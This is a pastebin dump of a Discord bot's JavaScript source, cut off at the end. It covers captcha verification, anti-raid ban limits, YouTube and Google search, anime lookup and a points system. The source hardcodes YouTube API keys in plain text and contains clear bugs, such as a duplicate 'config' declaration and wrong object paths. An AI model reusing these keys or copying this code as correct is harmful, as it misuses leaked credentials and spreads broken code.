· 5 years ago · Jun 24, 2020, 01:54 PM
1const Discord = require('discord.js');
2const client = new Discord.Client();
3const convert = require("hh-mm-ss")
4const dateFormat = require('dateformat');
5const fs = require('fs');
6const pretty = require('pretty-ms');
7const rn = require('random-number');
8const userData = JSON.parse(fs.readFileSync('./userData.json', 'utf8')) || {}
9const moment = require('moment');
10const Canvas = require('canvas')
11const games = JSON.parse(fs.readFileSync('./games.json', "utf8")) || {}
12const jimp = require('jimp')
13const sql = require('sqlite')
14const ytdl = require("ytdl-core");
15const { Client, Util } = require('discord.js');
16const getYoutubeID = require('get-youtube-id');
17const fetchVideoInfo = require('youtube-info');
18const YouTube = require('simple-youtube-api');
19const youtube = new YouTube("AIzaSyAdORXg7UZUo7sePv97JyoDqtQVi3Ll0b8");
20const queue = new Map();
21const dataPro = JSON.parse(fs.readFileSync('./walls.json', 'utf8')) || {}
22const data = JSON.parse(fs.readFileSync('./data.json', 'utf8')) || {}
23const Engine = require(`node-uci`).Engine; //npm i node-uci
24const stockfish = new Engine('stockfish-8-mac/Mac/stockfish-8-64');
25const log = JSON.parse(fs.readFileSync('./log.json' , 'utf8')) || {}
26const antihack = JSON.parse(fs.readFileSync('./antihack.json' , 'utf8')) || {}
27const antijoin = JSON.parse(fs.readFileSync('./antijoin.json' , 'utf8')) || {}
28const child_process = require('child_process')
29const config = require('../config/config.json')
30const prefix = config.prefix;
31
32
33const Token = config.token;
34
35client.on('ready', () => {
36 console.log(`Logged in as ${client.user.tag}!`);
37 console.log('')
38 console.log('')
39 console.log('╔[═════════════════════════════════════════════════════════════════]╗')
40 console.log(`[Start] ${new Date()}`);
41 console.log('╚[═════════════════════════════════════════════════════════════════]╝')
42 console.log('')
43 console.log('╔[═════════════════════════════════════]╗');
44 console.log(`Logged in as * [ " ${client.user.username} " ]`);
45 console.log('')
46 console.log(`Informations About ${client.user.username}:`)
47 console.log('')
48 console.log(`Servers! [ " ${client.guilds.size} " ]`);
49 console.log(`Users! [ " ${client.users.size} " ]`);
50 console.log(`Channels! [ " ${client.channels.size} " ]`);
51 console.log(`Arch! [ " ${process.arch} " ]`);
52 console.log(`Platform! [ " ${process.platform} " ]`);
53 console.log(`Node Version! [ " ${process.version}" ]`);
54 console.log(`Prefix! [ " ${prefix}" ]`);
55 console.log(`Language! [ " NodeJS " ]`);
56 console.log(`Ram Usage! [ " ${(process.memoryUsage().rss / 1048576).toFixed()}MB " ]`);
57 console.log('╚[════════════════════════════════════]╝')
58 console.log('')
59 console.log('╔[════════════]╗')
60 console.log(`${client.user.username} Is Online`)
61 console.log('╚[════════════]╝')
62 console.log('')
63 console.log('╔[════════════]╗')
64 console.log('Created By: ScorpionX')
65 console.log('╚[════════════]╝')
66});
67
68const google = require('google-it');
69client.on('message', message => {
70 let args = message.content.split(' ').slice(1);
71 if(message.content.startsWith(prefix + 'google')) {
72 const input = args.join(' ');
73
74google({ query: input, disableConsole: true }).then(results => {
75 return message.channel.send(`\n\n**Title**: ${results[0].title}\n***Link***: ${results[0].link}\nDescription: ${results[0].snippet}`);
76}).catch(error => {
77 if (error) throw error;
78});
79
80}})
81
82
83
84const verifyj = JSON.parse(fs.readFileSync("./verify.json", "utf8"))
85
86client.on('message', async message => {
87 let messageArray = message.content.split(" ");
88 if(message.content === `${prefix}setcaptcha`) {
89
90 let filter = m => m.author.id === message.author.id;
91 let ch;
92 if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
93 msg.delete(4500);
94 message.delete(4500);
95 });
96
97 message.channel.send(':pencil: **| Now type the verify channel name... :pencil2: **').then(msg => {
98
99 message.channel.awaitMessages(filter, {
100 max: 1,
101 time: 90000,
102 errors: ['time']
103 })
104 .then(collected => {
105 collected.first().delete();
106 ch = collected.first().content;
107 let chf = message.guild.channels.find('name', `${ch}`)
108 if(!chf) return msg.edit(':x: **| Wrong Channel Name (Type The Command Again) .**') && console.log('cant find this channel')
109 let rr;
110 msg.edit(':scroll: **| Please type verified role name.... :pencil2: **').then(msg => {
111
112 message.channel.awaitMessages(filter, {
113 max: 1,
114 time: 90000,
115 errors: ['time']
116 })
117 .then(collected => {
118 collected.first().delete();
119 rr = collected.first().content;
120 let rf = message.guild.roles.find('name', `${rr}`)
121 if(!rf) return msg.edit(':x: **| Wrong Role Name (Type The Command Again)**') && console.log('cant find this role')
122 msg.edit('✅ **| Done successfully.. **').then(msg => {
123
124 message.channel.awaitMessages(filter, {
125 max: 1,
126 time: 90000,
127 errors: ['time']
128 })
129 let embed = new Discord.RichEmbed()
130 .setTitle('**Done The Captcha Has Been Setup**')
131 .addField('Captcha Channel:', `${ch}`)
132 .addField('Verfied Role:', `${rr}`)
133 .setThumbnail(message.author.avatarURL)
134 .setFooter(`${client.user.username}`)
135 message.channel.sendEmbed(embed)
136 verifyj[message.guild.id] = {
137 channel: ch,
138 rolev: rr,
139 onoff: 'On'
140 }
141 fs.writeFile("./verify.json", JSON.stringify(verifyj), (err) => {
142 if (err) console.error(err)
143 })
144 }
145 )
146 })
147 })
148})
149 })
150}})
151
152client.on('message', async message => {
153
154if(message.content == `${prefix}captcha off`) {
155 if(!verifyj[message.guild.id]) verifyj[message.guild.id] = {
156 channel: "Undefined",
157 onoff: "Off",
158 rolev: "Undefined"
159 }
160 if(verifyj[message.guild.id].onoff === "Off") return message.channel.send('Already Turned Off !')
161verifyj[message.guild.id].onoff = "off"
162message.channel.send(':white_check_mark: | Successfully turned off')
163fs.writeFile("./verify.json", JSON.stringify(verifyj), (err) => {
164 if (err) console.error(err)
165 })
166}
167})
168
169
170client.on('message', async message => {
171 if(message.author.bot) return;
172 if(!message.channel.type === 'dm') return;
173let rf = message.guild.roles.find('name', `${verifyj[message.guild.id].rolev}`)
174 let mem = message.guild.member(message.author)
175 if(message.content.startsWith(prefix + 'captcha')) {
176 if(!verifyj[message.guild.id]) verifyj[message.guild.id] = {
177 channel: "Undefined",
178 onoff: "Off",
179 rolev: "Undefined"
180 }
181 if(verifyj[message.guild.id].onoff === "Off") return console.log('the command is turned off')
182 if(message.channel.name !== verifyj[message.guild.id].channel) return console.log('wrong channel')
183 if(mem.roles.has(rf.id)) return message.channel.send(':x: | You Are Already Verfied !')
184 const type = require('./verifycodes.json');
185 const item = type[Math.floor(Math.random() * type.length)];
186 const filter = response => {
187 return item.answers.some(answer => answer.toLowerCase() === response.content.toLowerCase());
188 };
189 const embed = new Discord.RichEmbed()
190 .setTitle('**You Should Write The Captcha Code In 15 Seconds**')
191 .setColor("RANDOM")
192 .setImage(`${item.type}`)
193 .setFooter('Requested By' + message.author.tag)
194 message.channel.sendEmbed(embed).then(() => {
195 message.channel.awaitMessages(filter, { maxMatches: 1, time: 15000, errors: ['time'] })
196 .then((collected) => {
197 message.author.send(`**${collected.first().author} successfully you got verfied role :white_check_mark:**`);
198 message.channel.send(`**${collected.first().author} successfully you got verfied role :white_check_mark:**`);
199 console.log(`[Typing] ${collected.first().author} verfied himself ! .`);
200 message.guild.member(collected.first().author).addRole(rf)
201 })
202 .catch(collected => {
203 message.author.send('Timeout !')
204 console.log('[Typing] Error: No one type the captcha code.');
205 console.log(collected)
206
207 })
208
209 fs.writeFile("./verify.json", JSON.stringify(verifyj), (err) => {
210 if (err) console.error(err)
211 })
212 })
213}})
214
215
216client.on("message", msg => {
217 const rooms = []
218 msg.guild.channels.forEach(c => {
219 if(c.type !== "voice") return;
220 rooms.push(c.name);
221});
222 let args = msg.content.split(" ").slice(1).join(" ")
223 if(msg.content.startsWith(prefix+"moveme")){
224 if(!msg.member.voiceChannel) return msg.channel.send("**:no_entry: You're not in voice channel! **");
225 if(!args) return msg.channel.send("**:no_entry: Please be more specific**\`\`\`"+rooms.join("\n")+"\`\`\`");
226 if(isNaN(args)){
227 let channel = msg.guild.channels.find(ch => ch.name === args) || msg.mentions.members.first().voiceChannel;
228 if(!channel) return msg.channel.send("**:no_entry: Please be more specific**\`\`\`"+rooms.join("\n")+"\`\`\`");
229 msg.member.setVoiceChannel(channel).then(msg.channel.send("**:white_check_mark: "+msg.author.username+" moved to "+channel+"!**"))
230 } else {
231 let channel = msg.guild.channels.get(args) || msg.guild.members.get(args).voiceChannel
232 msg.member.setVoiceChannel(channel).then(msg.channel.send("**:white_check_mark: "+msg.author.username+" moved to "+channel+"!**"));
233
234 }
235 }
236})
237
238
239
240let anti = JSON.parse(fs.readFileSync("./antigreff.json", "UTF8"));
241let config = JSON.parse(fs.readFileSync("./config.json", "UTF8"));
242client.on("message", message => {
243 if (!message.channel.guild) return;
244 let user = anti[message.guild.id + message.author.id]
245 let num = message.content.split(" ").slice(2).join(" ");
246 if (!anti[message.guild.id + message.author.id]) anti[message.guild.id + message.author.id] = {
247 actions: 0
248 }
249 if (!config[message.guild.id]) config[message.guild.id] = {
250 banLimit: 3,
251 chaDelLimit: 3,
252 roleDelLimit: 3,
253 kickLimits: 3,
254 roleCrLimits: 3,
255 time: 30
256 }
257 if (message.content.startsWith(prefix + "settings limits")) {
258
259
260 if (!message.member.hasPermission('MANAGE_GUILD')) return;
261 if (message.content.startsWith(prefix + "settings limitsban")) {
262 if (!num) return message.channel.send("**⇏ | send a number ! ! **");
263 if (isNaN(num)) return message.channel.send("**⇏ | numbers only ! **");
264 config[message.guild.id].banLimit = num;
265 message.channel.send(`**⇏ | changed to : ${config[message.guild.id].banLimit} **`)
266 }
267 if (message.content.startsWith(prefix + "settings limitskick")) {
268 if (!num) return message.channel.send("**⇏ | send a number ! ! **");
269 if (isNaN(num)) return message.channel.send("**⇏ | numbers only ! **");
270 config[message.guild.id].kickLimits = num;
271 message.channel.send(`**⇏ | changed to : ${config[message.guild.id].kickLimits}**`)
272 }
273 if (message.content.startsWith(prefix + "settings limitsroleD")) {
274 if (!num) return message.channel.send("**⇏ | send a number ! ! **");
275 if (isNaN(num)) return message.channel.send("**⇏ | numbers only ! **");
276 config[message.guild.id].roleDelLimit = num;
277 message.channel.send(`**⇏ | changed to : ${config[message.guild.id].roleDelLimit}**`)
278 }
279 if (message.content.startsWith(prefix + "settings limitsroleC")) {
280 if (!num) return message.channel.send("**⇏ | send a number ! ! **");
281 if (isNaN(num)) return message.channel.send("**⇏ | numbers only ! **");
282 config[message.guild.id].roleCrLimits = num;
283 message.channel.send(`**⇏ | changed to : ${config[message.guild.id].roleCrLimits}**`)
284 }
285 if (message.content.startsWith(prefix + "settings limitschannelD")) {
286 if (!num) return message.channel.send("**⇏ | send a number ! ! **");
287 if (isNaN(num)) return message.channel.send("**⇏ | numbers only ! **");
288 config[message.guild.id].chaDelLimit = num;
289 message.channel.send(`**⇏ | changed to : ${config[message.guild.id].chaDelLimit}**`)
290 }
291 if (message.content.startsWith(prefix + "settings limitstime")) {
292 if (!num) return message.channel.send("**⇏ | send a number ! ! **");
293 if (isNaN(num)) return message.channel.send("**⇏ | numbers only ! **");
294 config[message.guild.id].time = num;
295 message.channel.send(`**⇏ | changed to : ${config[message.guild.id].time}**`)
296 }
297 fs.writeFile("./config.json", JSON.stringify(config, null, 2), function (e) {
298 if (e) throw e;
299 });
300 fs.writeFile("./antigreff.json", JSON.stringify(anti, null, 2), function (e) {
301 if (e) throw e;
302 });
303 }
304});
305client.on("channelDelete", async channel => {
306 const entry1 = await channel.guild.fetchAuditLogs({
307 type: 'CHANNEL_DELETE'
308 }).then(audit => audit.entries.first())
309 console.log(entry1.executor.username)
310 const entry = entry1.executor
311 if (!config[channel.guild.id]) config[channel.guild.id] = {
312 banLimit: 3,
313 chaDelLimit: 3,
314 roleDelLimit: 3,
315 kickLimits: 3,
316 roleCrLimits: 3
317 }
318 if (!anti[channel.guild.id + entry.id]) {
319 anti[channel.guild.id + entry.id] = {
320 actions: 1
321 }
322 setTimeout(() => {
323 anti[channel.guild.id + entry.id].actions = "0"
324 }, config[channel.guild.id].time * 1000)
325 } else {
326 anti[channel.guild.id + entry.id].actions = Math.floor(anti[channel.guild.id + entry.id].actions + 1)
327 console.log("TETS");
328 setTimeout(() => {
329 anti[channel.guild.id + entry.id].actions = "0"
330 }, config[channel.guild.id].time * 1000)
331 if (anti[channel.guild.id + entry.id].actions >= config[channel.guild.id].chaDelLimit) {
332 channel.guild.members.get(entry.id).ban().catch(e => channel.guild.owner.send(`**⇏ | ${entry.username} قام بمسح الكثير من الرومات **`))
333 anti[channel.guild.id + entry.id].actions = "0"
334 fs.writeFile("./config.json", JSON.stringify(config, null, 2), function (e) {
335 if (e) throw e;
336 });
337 fs.writeFile("./antigreff.json", JSON.stringify(anti, null, 2), function (e) {
338 if (e) throw e;
339 });
340 }
341 }
342
343 fs.writeFile("./config.json", JSON.stringify(config, null, 2), function (e) {
344 if (e) throw e;
345 });
346 fs.writeFile("./antigreff.json", JSON.stringify(anti, null, 2), function (e) {
347 if (e) throw e;
348 });
349});
350
351client.on("roleDelete", async channel => {
352 const entry1 = await channel.guild.fetchAuditLogs({
353 type: 'ROLE_DELETE'
354 }).then(audit => audit.entries.first())
355 console.log(entry1.executor.username)
356 const entry = entry1.executor
357 if (!config[channel.guild.id]) config[channel.guild.id] = {
358 banLimit: 3,
359 chaDelLimit: 3,
360 roleDelLimit: 3,
361 kickLimits: 3,
362 roleCrLimits: 3
363 }
364 if (!anti[channel.guild.id + entry.id]) {
365 anti[channel.guild.id + entry.id] = {
366 actions: 1
367 }
368 setTimeout(() => {
369 anti[channel.guild.id + entry.id].actions = "0"
370 }, config[channel.guild.id].time * 1000)
371 } else {
372 anti[channel.guild.id + entry.id].actions = Math.floor(anti[channel.guild.id + entry.id].actions + 1)
373 console.log("TETS");
374 setTimeout(() => {
375 anti[channel.guild.id + entry.id].actions = "0"
376 }, config[channel.guild.id].time * 1000)
377 if (anti[channel.guild.id + entry.id].actions >= config[channel.guild.id].roleDelLimit) {
378 channel.guild.members.get(entry.id).ban().catch(e => channel.guild.owner.send(`**⇏ | ${entry.username} قام بمسح الكثير من الرتب **`))
379 anti[channel.guild.id + entry.id].actions = "0"
380 fs.writeFile("./config.json", JSON.stringify(config, null, 2), function (e) {
381 if (e) throw e;
382 });
383 fs.writeFile("./antigreff.json", JSON.stringify(anti, null, 2), function (e) {
384 if (e) throw e;
385 });
386 }
387 }
388
389 fs.writeFile("./config.json", JSON.stringify(config, null, 2), function (e) {
390 if (e) throw e;
391 });
392 fs.writeFile("./antigreff.json", JSON.stringify(anti, null, 2), function (e) {
393 if (e) throw e;
394 });
395});
396
397client.on("roleCreate", async channel => {
398 const entry1 = await channel.guild.fetchAuditLogs({
399 type: 'ROLE_CREATE'
400 }).then(audit => audit.entries.first())
401 console.log(entry1.executor.username)
402 const entry = entry1.executor
403 if (!config[channel.guild.id]) config[channel.guild.id] = {
404 banLimit: 3,
405 chaDelLimit: 3,
406 roleDelLimit: 3,
407 kickLimits: 3,
408 roleCrLimits: 3
409 }
410 if (!anti[channel.guild.id + entry.id]) {
411 anti[channel.guild.id + entry.id] = {
412 actions: 1
413 }
414 setTimeout(() => {
415 anti[channel.guild.id + entry.id].actions = "0"
416 }, config[channel.guild.id].time * 1000)
417 } else {
418 anti[channel.guild.id + entry.id].actions = Math.floor(anti[channel.guild.id + entry.id].actions + 1)
419 console.log("TETS");
420 setTimeout(() => {
421 anti[channel.guild.id + entry.id].actions = "0"
422 }, config[channel.guild.id].time * 1000)
423 if (anti[channel.guild.id + entry.id].actions >= config[channel.guild.id].roleCrLimits) {
424 channel.guild.members.get(entry.id).ban().catch(e => channel.guild.owner.send(`**⇏ | ${entry.username} قام بأنشاء الكثير من الرتب **`))
425 anti[channel.guild.id + entry.id].actions = "0"
426 fs.writeFile("./config.json", JSON.stringify(config, null, 2), function (e) {
427 if (e) throw e;
428 });
429 fs.writeFile("./antigreff.json", JSON.stringify(anti, null, 2), function (e) {
430 if (e) throw e;
431 });
432 }
433 }
434
435 fs.writeFile("./config.json", JSON.stringify(config, null, 2), function (e) {
436 if (e) throw e;
437 });
438 fs.writeFile("./antigreff.json", JSON.stringify(anti, null, 2), function (e) {
439 if (e) throw e;
440 });
441});
442
443client.on("guildBanAdd", async (guild, user) => {
444 const entry1 = await guild.channel.guild.fetchAuditLogs({
445 type: 'MEMBER_BAN_ADD'
446 }).then(audit => audit.entries.first())
447 console.log(entry1.executor.username)
448 const entry = entry1.executor
449 if (!config[guild.id]) config[guild.id] = {
450 banLimit: 3,
451 chaDelLimit: 3,
452 roleDelLimit: 3,
453 kickLimits: 3,
454 roleCrLimits: 3
455 }
456 if (!anti[guild.id + entry.id]) {
457 anti[guild.id + entry.id] = {
458 actions: 1
459 }
460 setTimeout(() => {
461 anti[guild.id + entry.id].actions = "0"
462 }, config[guild.id].time * 1000)
463 } else {
464 anti[guild.id + entry.id].actions = Math.floor(anti[guild.id + entry.id].actions + 1)
465 console.log("TETS");
466 setTimeout(() => {
467 anti[guild.id + entry.id].actions = "0"
468 }, config[guild.id].time * 1000)
469 if (anti[guild.id + entry.id].actions >= config[guild.id].banLimit) {
470 guild.channel.members.get(entry.id).ban().catch(e => guild.channel.owner.send(`**⇏ | ${entry.username} حاول حظر جميع الأعضاء **`))
471 anti[guild.id + entry.id].actions = "0"
472 fs.writeFile("./config.json", JSON.stringify(config, null, 2), function (e) {
473 if (e) throw e;
474 });
475 fs.writeFile("./antigreff.json", JSON.stringify(anti, null, 2), function (e) {
476 if (e) throw e;
477 });
478 }
479 }
480
481 fs.writeFile("./config.json", JSON.stringify(config, null, 2), function (e) {
482 if (e) throw e;
483 });
484 fs.writeFile("./antigreff.json", JSON.stringify(anti, null, 2), function (e) {
485 if (e) throw e;
486 });
487});
488
489client.on("guildKickAdd", async (guild, user) => {
490 const entry1 = await guild.channel.fetchAuditLogs({
491 type: 'MEMBER_KICK'
492 }).then(audit => audit.entries.first())
493 console.log(entry1.executor.username)
494 const entry = entry1.executor
495 if (!config[guild.id]) config[guild.id] = {
496 banLimit: 3,
497 chaDelLimit: 3,
498 roleDelLimit: 3,
499 kickLimits: 3,
500 roleCrLimits: 3
501 }
502 if (!anti[guild.id + entry.id]) {
503 anti[guild.id + entry.id] = {
504 actions: 1
505 }
506 setTimeout(() => {
507 anti[guild.id + entry.id].actions = "0"
508 }, config[guild.id].time * 1000)
509 } else {
510 anti[guild.id + entry.id].actions = Math.floor(anti[guild.id + entry.id].actions + 1)
511 console.log("TETS");
512 setTimeout(() => {
513 anti[guild.id + entry.id].actions = "0"
514 }, config[guild.id].time * 1000)
515 if (anti[guild.id + entry.id].actions >= config[guild.id].banLimit) {
516 guild.channel.members.get(entry.id).ban().catch(e => guild.channel.owner.send(`**⇏ | ${entry.username} حاول حظر جميع الأعضاء **`))
517 anti[guild.id + entry.id].actions = "0"
518 fs.writeFile("./config.json", JSON.stringify(config, null, 2), function (e) {
519 if (e) throw e;
520 });
521 fs.writeFile("./antigreff.json", JSON.stringify(anti, null, 2), function (e) {
522 if (e) throw e;
523 });
524 }
525 }
526
527 fs.writeFile("./config.json", JSON.stringify(config, null, 2), function (e) {
528 if (e) throw e;
529 });
530 fs.writeFile("./antigreff.json", JSON.stringify(anti, null, 2), function (e) {
531 if (e) throw e;
532 });
533});
534
535client.on("guildMemberRemove", async member => {
536 const entry1 = await member.guild.fetchAuditLogs().then(audit => audit.entries.first())
537 if (entry1.action === "MEMBER_KICK") {
538 const entry2 = await member.guild.fetchAuditLogs({
539 type: "MEMBER_KICK"
540 }).then(audit => audit.entries.first())
541 const entry = entry2.executor;
542 if (!config[member.guild.id]) config[member.guild.id] = {
543 banLimit: 3,
544 chaDelLimit: 3,
545 roleDelLimit: 3,
546 kickLimits: 3,
547 roleCrLimits: 3
548 }
549 if (!anti[member.guild.id + entry.id]) {
550 anti[member.guild.id + entry.id] = {
551 actions: 1
552 }
553 setTimeout(() => {
554 anti[member.guild.id + entry.id].actions = "0"
555 }, config[member.guild.id].time * 1000)
556 } else {
557 anti[member.guild.id + entry.id].actions = Math.floor(anti[member.guild.id + entry.id].actions + 1)
558 console.log("TETS");
559 setTimeout(() => {
560 anti[member.guild.id + entry.id].actions = "0"
561 }, config[member.guild.id].time * 1000)
562 if (anti[member.guild.id + entry.id].actions >= config[member.guild.id].kickLimits) {
563 member.members.get(entry.id).ban().catch(e => member.owner.send(`**⇏ | ${entry.username} حاول حظر جميع الأعضاء **`))
564 anti[member.guild.id + entry.id].actions = "0"
565 fs.writeFile("./config.json", JSON.stringify(config, null, 2), function (e) {
566 if (e) throw e;
567 });
568 fs.writeFile("./antigreff.json", JSON.stringify(anti, null, 2), function (e) {
569 if (e) throw e;
570 });
571 }
572 }
573
574 fs.writeFile("./config.json", JSON.stringify(config, null, 2), function (e) {
575 if (e) throw e;
576 });
577 fs.writeFile("./antigreff.json", JSON.stringify(anti, null, 2), function (e) {
578 if (e) throw e;
579 });
580 }
581
582})
583
584
585
586var figlet = require('figlet');
587client.on('message', edward => {
588 var commandedward = "figlet";
589 if (edward.content.startsWith(prefix + commandedward)) {
590 if (!edward.channel.guild) return;
591 var argsedward = edward.content.split(" ").slice(1).join(" ");
592 if (!argsedward) return edward.channel.send(`**Hey There , Type SomeThing to ASCII** ?.`);
593figlet(argsedward, function(err, dataed) {
594 if (err) {
595 edward.channel.send(`\`\`\`apache\nErr; ${err}\`\`\``);
596 }
597 var edwardhere = "";
598 var edwardem = new Discord.RichEmbed()
599 .setColor(edward.member.displayHexColor || "36393e")
600 .setAuthor(`${commandedward} Service;`,edward.author.avatarURL || edward.author.defaultAvatarURL)
601 .setDescription(`|| ------------------------------------------------------------------- ||\`\`\`fix\n${dataed} ${edwardhere}\`\`\``)
602 .setThumbnail(edward.guild.iconURL || edward.author.displayAvatarURL)
603 .setTimestamp()
604 .setFooter(client.user.username,client.user.avatarURL || client.user.defaultAvatarURL);
605if (argsedward.length <= 6){
606 edward.channel.send(edwardem);
607 }
608if (argsedward.length >= 7){
609 edward.channel.send(`\`\`\`fix\n${dataed}\`\`\``);
610 }
611
612})}});
613
614client.on('message', message => {
615if(message.content.startsWith(prefix + 'syt')) {
616 var search = require('youtube-search');
617 const YouTube = require('simple-youtube-api');
618const youtube = new YouTube('AIzaSyB1OOSpTREs85WUMvIgJvLTZKye4BVsoFU');
619 let filter = m => m.author.id === message.author.id
620message.channel.send('Input your args')
621let chaLan = message.channel.awaitMessages(filter, { max: 1, time: 40000, errors: ['time'] })
622 .then(collected => {
623 var yt = collected.first().content
624var opts = {
625 maxResults: 10,
626 key: 'AIzaSyB1OOSpTREs85WUMvIgJvLTZKye4BVsoFU'
627};
628search(yt , opts, function(err, results) {
629 if(err) return console.log(err);
630 var e = new Discord.RichEmbed()
631 .setTitle(`Info about : `)
632 .addField(`Title` , results[0].title)
633 .addField(`Channel` , results[0].channelTitle , true)
634 .addField(`Published At` , results[0].publishedAt , true)
635 .setDescription(`**Description** \n \`${results[0].description}\``)
636 .addField(`Channel ID` , results[0].channelId , true)
637 .addField(`Link ` , ` [\`Click Here اظغط هنا\`](${results[0].link})`)
638.setFooter(`${client.user.tag}`)
639.setColor('#36393e')
640 .setImage(`https://img.youtube.com/vi/${results[0].id}/hqdefault.jpg`)
641 message.channel.send(e)
642});
643 })
644 }
645})
646
647let newsjson = JSON.parse(fs.readFileSync("./news.json", "utf8")) || {}
648client.on('message', message => {
649 let news = message.content.split(" ").slice(1).join(" ")
650 if(message.content.startsWith(prefix + 'setnews')) {
651 if(message.author.id !== '568859641379946516') return;
652 if(!news) return message.channel.send(`❌ | Please Write The News For Example: ${prefix}setnews fix bugs`)
653 newsjson[client.user.id] = {
654 new: news,
655 }
656 message.channel.send(`✅ | Done The Bot News Has Been Updated !`)
657 }
658 if(message.content.startsWith( prefix + 'news')) {
659 if(!newsjson[client.user.id]) newsjson[client.user.id] = {
660 new: 'nothing'
661 }
662 let embed = new Discord.RichEmbed()
663 .setTitle(`? | ${client.user.username} Latest News :`)
664 .setDescription(`${newsjson[client.user.id].new}`)
665 .setTimestamp()
666 .setFooter(`Requested By ${message.author.username}`)
667 message.channel.sendEmbed(embed)
668 }
669 fs.writeFile("./news.json", JSON.stringify(newsjson), (err) => {
670 })
671})
672
673const { getInfoFromName } = require('myanimelists');
674
675
676 client.on('message', message => {
677 let anime = message.content.split(" ").slice(1).join(" ")
678 if(message.content.startsWith(prefix + 'anime')) {
679 if(!anime) return message.channel.send('Please Write The Anime Name Example: !anime dragon ball')
680 getInfoFromName(anime)
681 .then(result => {
682 let embed = new Discord.RichEmbed()
683 .setTitle(result.title)
684 .addField('Trailer:', `${result.trailer}` || `Unknown`)
685 .addField('Episodes:', `${result.episodes}` || `Unknown`)
686 .addField('Status:', `${result.status}` || `Unknown`)
687 .addField('Studios:', `${result.studios}` || `Unknown`)
688 .addField('Genres:', `${result.genres}` || `Unknown`)
689 .addField('Ranked:', `${result.ranked}` || `Unknown`)
690 .addField('Favorites', `${result.favorites}` || `Unknown`)
691 .addField('Rating:', `${result.rating}` || `Unknown`)
692 .addField('Premiered:', `${result.premiered}` || `Unknown`)
693 .addField('Duration:', `${result.duration}` || `Unknown`)
694 .addField('Score:', `${result.score}` || `Unknown`)
695 .addField('Scored By:', `${result.scoreStats} ` || `Unknown`)
696 .setDescription(`${result.synopsis || 'Unknown'}`)
697 .setImage(result.picture)
698 .setColor('#0a0000')
699 message.channel.sendEmbed(embed)
700 })
701 .catch(error => console.log(error));
702 }})
703
704const members = JSON.parse(fs.readFileSync("./members.json")) || {};
705const onoffmembers = JSON.parse(fs.readFileSync("./onoffmembers.json")) || {};
706client.on('ready', () => {
707 console.log(`Logged in as ${client.user.tag}!`);
708 client.guilds.forEach(g=> !members[g.id] ? members[g.id] = {} : null)
709});
710client.on('message', message => {
711 if(!message.channel.guild) return;
712if(message.content.startsWith(prefix + 'toggleroles')) {
713 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
714 if(!onoffmembers[message.guild.id]) onoffmembers[message.guild.id] = {
715 onoff: 'Off'
716 }
717 if(onoffmembers[message.guild.id].onoff === 'Off') return [message.channel.send(`**✅ The BackRoles Is __??__ !**`), onoffmembers[message.guild.id].onoff = 'On']
718 if(onoffmembers[message.guild.id].onoff === 'On') return [message.channel.send(`**⛔ The BackRoles Is __???__ !**`), onoffmembers[message.guild.id].onoff = 'Off']
719 fs.writeFile("./onoffmembers.json", JSON.stringify(onoffmembers), (err) => {
720 if (err) console.error(err)
721 .catch(err => {
722 console.error(err);
723 });
724 });
725 }
726
727 })
728
729client.on("guildMemberRemove", member=>{
730 if(onoffmembers[member.guild.id].onoff === 'Off') return;
731 let roles = [];
732 member.roles.forEach(r=> roles.push(r.id));
733 members[member.guild.id][member.id] = roles;
734 saveChanges();
735});
736client.on("guildMemberAdd", member=> {
737 if(onoffmembers[member.guild.id].onoff === 'Off') return;
738 if(members[member.guild.id][member.id] !== undefined){
739 member.addRoles(members[member.guild.id][member.id], "Returning roles after leaving");
740 members[member.guild.id][member.id] = [];
741 };
742 saveChanges();
743});
744function saveChanges(){
745 fs.writeFileSync("./members.json", JSON.stringify(members, null, 4));
746};
747
748 let points = {}
749
750client.on("message", message => {
751 if (!message.guild || message.author.bot) return;
752 if (message.content == ".colors") {
753 var fsn = require('fs-nextra');
754 fs.readdir('./colors', async (err, files) => {
755 var f = files[Math.floor(Math.random() * files.length)];
756 var {
757 Canvas
758 } = require('canvas-constructor');
759 var x = 0;
760 var y = 0;
761 if (message.guild.roles.filter(role => !isNaN(role.name)).size <= 0) return;
762 message.guild.roles.filter(role => !isNaN(role.name)).sort((b1, b2) => b1.name - b2.name).forEach(() => {
763 x += 100;
764 if (x > 100 * 12) {
765 x = 100;
766 y += 80;
767 }
768 });
769 var image = await fsn.readFile(`./colors/${f}`);
770 var xd = new Canvas(100 * 11, y + 350) // كانت 250 يلي هو الحين 350
771 .addBeveledImage(image, 0, 0, 100 * 11, y + 350, 100) // يلي هي الحين 350 كانت 250 و يلي هي الحين 100 كانت 50
772 .setTextBaseline('middle')
773 .setColor('white')
774 .setTextSize(60)
775 .addText(`قائمة الألوان`, 375, 40);
776 x = 0;
777 y = 150;
778 message.guild.roles.filter(role => !isNaN(role.name)).sort((b1, b2) => b1.name - b2.name).forEach(role => {
779 x += 75;
780 if (x > 100 * 10) {
781 x = 75;
782 y += 80;
783 }
784 xd
785 .setTextBaseline('middle')
786 .setTextAlign('center')
787 .setColor(role.hexColor)
788 .addBeveledRect(x, y, 60, 60, 15)
789 .setColor('white');
790 if (`${role.name}`.length > 2) {
791 xd.setTextSize(30);
792 } else if (`${role.name}`.length > 1) {
793 xd.setTextSize(40);
794 } else {
795 xd.setTextSize(50);
796 }
797 xd.addText(role.name, x + 30, y + 30);
798 });
799 message.channel.sendFile(xd.toBuffer());
800 });
801 }
802 })
803
804
805
806client.on('message', async message => {
807if(!points) points = {}
808
809 if(message.channel.type !== 'text') return;
810
811
812 var command = message.content.toLowerCase().split(" ")[0];
813 var args = message.content.toLowerCase().split(" ");
814 var userM = message.guild.member(message.mentions.users.first() || message.guild.members.find(m => m.id == args[1]));
815 const embed = new Discord.RichEmbed()
816.setDescription(`
817**لم يتم تسجيل أي نقطة حتى الأن **
818** أمثلة للأوامر: **
819**:small_orange_diamond:** .points ${message.author} 1 \`لتغيير نقاط شخص معين \`
820**:small_orange_diamond:** .points ${message.author} +1 \`لزيادة نقاط شخص معين\`
821**:small_orange_diamond:** .points ${message.author} -1 \`لأزالة نقطة من شخص معين \`
822**:small_orange_diamond:** .points ${message.author} 0 \`لتصفير نقاط شخص معين \`
823**:small_orange_diamond:** .points reset \`لتصفير جميع النقاط\``)
824.setFooter('Requested by '+message.author.username, message.author.avatarURL)
825.setColor(`#e60909`)
826 const error = new Discord.RichEmbed()
827.setDescription(`
